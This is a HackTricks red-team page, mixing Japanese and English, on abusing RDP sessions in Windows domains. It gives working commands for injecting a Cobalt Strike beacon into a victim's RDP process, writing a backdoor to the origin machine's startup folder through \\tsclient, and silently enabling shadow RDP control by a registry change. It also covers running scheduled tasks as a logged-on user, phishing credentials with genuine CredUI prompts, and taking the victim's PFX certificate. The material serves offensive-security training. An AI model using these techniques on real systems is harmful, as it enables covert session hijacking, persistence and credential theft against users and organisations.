RDP Sessions Abuse

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート

RDP Process Injection

もし外部グループRDPアクセスを現在のドメイン内の任意のコンピュータに対して持っている場合、攻撃者そのコンピュータを侵害してユーザーを待ち構えることができます。

そのユーザーがRDPでアクセスした後、攻撃者はそのユーザーのセッションにピボットして外部ドメインでその権限を悪用できます。

# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#or
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName

# Then, compromise the listed machines, and wait til someone from the external domain logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin

# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID   PPID  Name                         Arch  Session     User
---   ----  ----                         ----  -------     -----
...
4960  1012  rdpclip.exe                  x64   3           EXT\super.admin

beacon> inject 4960 x64 tcp-local
## From that beacon you can just run powerview modules interacting with the external domain as that user

Check other ways to steal sessions with other tools in this page.

RDPInception

ユーザーがRDP into a machineにアクセスし、その場所でattackerwaitingしている場合、攻撃者はinject a beacon in the RDP session of the userことができ、RDPでアクセスしたときにvictim mounted his driveしていれば、attacker could access it

この場合、statup folderbackdoorを書き込むだけで、victimsoriginal computercompromiseできます。

# Wait til someone logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin

# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID   PPID  Name                         Arch  Session     User
---   ----  ----                         ----  -------     -----
...
4960  1012  rdpclip.exe                  x64   3           EXT\super.admin

beacon> inject 4960 x64 tcp-local

# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
## \\tsclient\c is the C: drive on the origin machine of the RDP session
beacon> ls \\tsclient\c

Size     Type    Last Modified         Name
----     ----    -------------         ----
dir     02/10/2021 04:11:30   $Recycle.Bin
dir     02/10/2021 03:23:44   Boot
dir     02/20/2021 10:15:23   Config.Msi
dir     10/18/2016 01:59:39   Documents and Settings
[...]

# Upload backdoor to startup folder
beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload C:\Payloads\pivot.exe

Shadow RDP

ホスト上であなたがlocal adminで、被害者がすでにactive RDP sessionを持っている場合、view/control that desktop without stealing the password or dumping LSASSことができるかもしれません。

これは以下に格納されているRemote Desktop Services shadowingポリシーによります:

HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services\Shadow

興味深い値:

  • 0: 無効
  • 1: EnableInputNotify (制御、ユーザー承認が必要)
  • 2: EnableInputNoNotify (制御、ユーザー承認不要)
  • 3: EnableNoInputNotify (表示のみ、ユーザー承認が必要)
  • 4: EnableNoInputNoNotify (表示のみ、ユーザー承認不要)
:: Check the policy
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow

:: Enable interaction without consent
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 2 /f

:: Enumerate sessions and shadow the target one
quser /server:<HOST>
mstsc /v:<HOST> /shadow:<SESSION_ID> /control /noconsentprompt /prompt

これは、権限の高いユーザーがRDPで接続したままロック解除されたデスクトップ、KeePassセッション、MMCコンソール、ブラウザセッション、またはadmin shellを開いたままにしている場合に特に有用です。

ログオン中のユーザーとしてのスケジュールされたタスク

もしあなたがlocal adminでターゲットユーザーがcurrently logged onしている場合、Task Schedulerはパスワードなしでas that user without their passwordとしてコードを実行できます。

これにより、被害者の既存のログオンセッションが実行プリミティブになります:

schtasks /create /S <HOST> /RU "<DOMAIN\\user>" /SC ONCE /ST 00:00 /TN "Updater" /TR "cmd.exe /c whoami > C:\\Windows\\Temp\\whoami.txt"
schtasks /run /S <HOST> /TN "Updater"

注意:

  • ユーザーが ログオンしていない 場合、Windows は通常、そのユーザーとして実行されるタスクを作成するためにパスワードを要求します。
  • ユーザーが ログオンしている 場合、タスクは既存のログオン コンテキストを再利用できます。
  • これは、LSASS に触れることなく被害者のセッション内で GUI 操作を実行したりバイナリを起動したりする実用的な方法です。

被害者セッション内での CredUI プロンプトの悪用

被害者のインタラクティブデスクトップ内で実行できるようになると(たとえば Shadow RDPそのユーザーとして実行されるスケジュールされたタスク を介して)、CredUI API を使って 本物の Windows 資格情報プロンプト を表示し、被害者が入力した資格情報を収集できます。

Relevant APIs:

  • CredUIPromptForWindowsCredentials
  • CredUnPackAuthenticationBuffer

典型的なフロー:

  1. 被害者のセッション内でバイナリを起動する。
  2. 現在のドメインのブランディングに一致するドメイン認証プロンプトを表示する。
  3. 返された認証バッファをアンパックする。
  4. 提供された資格情報を検証し、必要に応じて有効な資格情報が入力されるまでプロンプトを繰り返す。

これは、プロンプトが偽の HTML フォームではなく標準の Windows API によってレンダリングされるため、on-host phishing に有用です。

被害者コンテキストでの PFX 取得

同じ scheduled-task-as-user プリミティブを使用して、ログオン中の被害者としての証明書/PFX を要求できます。取得した証明書は後でそのユーザーとしての AD 認証 に使用でき、パスワードの窃取を完全に回避できます。

高レベルの流れ:

  1. 被害者がログオンしているホスト上で local admin を獲得する。
  2. スケジュールタスクを使用して被害者として登録/エクスポート処理を実行する。
  3. 生成された PFX をエクスポートする。
  4. PFX を PKINIT / 証明書ベースの AD 認証に使用する。

See the AD CS pages for follow-up abuse:

AD CS Account Persistence

参考資料

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート